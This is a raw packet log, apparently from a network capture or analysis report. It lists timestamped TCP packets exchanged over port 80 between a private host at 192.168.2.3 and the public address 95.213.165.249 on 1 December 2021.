Dec 1, 2021 10:04:54.889187098 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889219999 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.891689062 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.920139074 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.920172930 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.920326948 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.927459955 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.927493095 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.927597046 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.938230038 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938266993 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938283920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938306093 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938328981 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938349962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938370943 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938391924 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938414097 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938436031 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938457966 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938463926 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.938479900 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938502073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938524008 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938544989 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938559055 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.938566923 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.938627958 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.947823048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.947859049 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.947875023 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.947892904 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.947911024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.947935104 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.947957039 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.947977066 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.947998047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948019028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948043108 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948069096 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948071003 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948091984 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948115110 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948139906 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948142052 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948169947 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948184967 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948196888 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948220015 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948224068 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948244095 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948262930 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948270082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948295116 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948312044 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948318005 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948342085 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948364973 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948374033 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948390007 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948411942 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948421001 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948436975 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948450089 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948462009 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948483944 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948497057 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948510885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948533058 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948544979 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948556900 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948579073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948600054 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948623896 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948627949 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948648930 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948669910 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948683977 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948693991 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948717117 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948724985 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948739052 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948760033 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948764086 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948781967 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948793888 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948807001 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948831081 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948832035 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948865891 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948870897 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948892117 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948914051 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948926926 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948937893 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948959112 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.948971987 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.948982954 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949004889 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949027061 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949031115 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949049950 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949059010 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949071884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949093103 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949096918 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949115992 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949136972 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949162006 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949165106 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949186087 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949187994 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949208021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949230909 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949239969 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949251890 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949275017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949278116 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949297905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949317932 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949341059 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949342966 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949362993 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949387074 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949394941 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949409962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949431896 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949434996 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949455023 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949460983 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949477911 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949501038 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949502945 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949522972 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949544907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949556112 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949567080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949589014 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949609995 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949615002 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949632883 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949661970 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949664116 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949697018 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.949729919 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.949811935 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.971714973 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.977817059 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.977849007 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.978044987 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.985163927 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.985193968 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.985292912 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.998997927 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999034882 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999047041 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999061108 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999077082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999092102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999109030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999125004 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999141932 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999160051 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999172926 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999178886 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.999186993 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999203920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999268055 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.999288082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999306917 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999322891 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.999339104 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.999372959 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007208109 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007241011 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007252932 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007268906 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007286072 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007302046 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007318974 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007334948 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007350922 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007368088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007384062 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007401943 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007415056 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007421970 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007430077 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007455111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007472992 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007488966 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007503033 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007519960 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007524014 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007536888 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007555008 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007572889 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007584095 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007589102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007606030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007623911 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007633924 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007639885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007658005 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007673979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007680893 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007692099 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007709980 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007710934 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007725954 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007739067 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007745028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007762909 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007775068 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007777929 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007796049 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007812023 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007814884 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007829905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007844925 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007846117 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007863045 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007878065 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007882118 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007900000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007909060 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007916927 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007934093 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007941961 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007951975 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007967949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.007970095 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.007986069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008001089 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008002996 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008021116 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008037090 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008052111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008069038 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008085012 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008100986 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008117914 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008125067 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008133888 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008133888 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008153915 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008163929 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008171082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008187056 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008203983 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008203983 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008222103 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008233070 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008239031 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008256912 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008271933 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008280039 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008290052 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008306026 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008321047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008337021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008338928 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008353949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008371115 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008385897 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008387089 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008404016 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008419991 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008435965 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008435965 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008452892 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008470058 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008474112 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008486986 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008503914 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008521080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008526087 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008537054 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008554935 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008573055 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008589983 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008605003 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008615017 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008620977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008622885 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008634090 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.008637905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.008688927 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.029356956 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.029537916 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.035664082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.035691977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.035778999 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.042362928 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.045089960 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.045305014 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.045327902 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.045468092 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.056931019 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.056963921 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.056976080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.056989908 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057005882 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057019949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057037115 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057054043 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057070971 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057086945 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057101965 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057118893 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057133913 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057152033 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057156086 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.057169914 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057187080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057204962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.057213068 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.057285070 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066154957 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066190958 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066205025 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066219091 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066237926 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066256046 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066272974 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066289902 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066306114 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066323996 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066339970 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066355944 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066374063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066374063 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066391945 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066410065 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066426992 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066427946 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066447020 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066458941 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066463947 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066483974 CET	80	49826	95.213.165.249	192.168.2.3
